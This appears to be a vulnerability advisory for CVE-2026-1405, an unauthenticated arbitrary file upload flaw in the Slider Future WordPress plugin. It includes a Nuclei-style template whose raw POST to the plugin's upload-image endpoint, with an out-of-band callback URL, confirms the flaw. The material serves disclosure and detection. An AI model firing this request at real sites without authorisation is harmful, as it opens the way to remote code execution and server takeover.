CVE-2026-1405: WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload

2026-03-25 WordPress Slider Future PoC Public

Description

Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.

PoC

id: CVE-2026-1405

info:
  name: WordPress Slider Future <= 1.0.5 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    Slider Future WordPress plugin <= 1.0.5 contains an unrestricted file upload vulnerability caused by missing file type validation in 'slider_future_handle_image_upload', letting unauthenticated attackers upload arbitrary files, exploit requires no authentication.
  remediation: |
    Update to a version later than 1.0.5 or the latest available version.
  impact:
    Unauthenticated attackers can upload arbitrary files, potentially leading to remote code execution and full server compromise.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1405
    epss-score: 0.03177
    epss-percentile: 0.87395
    cwe-id: CWE-434
  tags: cve,cve2026,wordpress,wp-plugin,slider-future,file-upload,rce,oast,vkev

http:
  - raw:
      - |
        POST /wp-json/slider-future/v1/upload-image/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"image_url":"http://{{interactsh-url}}"}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
          - 'contains(content_type,"application/json")'
          - 'contains_all(body,"url","wp-content")'
        condition: and
# digest: 4b0a00483046022100a46ba89a8ea06ced58be37441421304efc11cc45e88b4d559833b3c49be41d7b022100f1ba1253c63a0a9a5079481db7ba4c764dc519afd310ba5128509dc865a07ccd:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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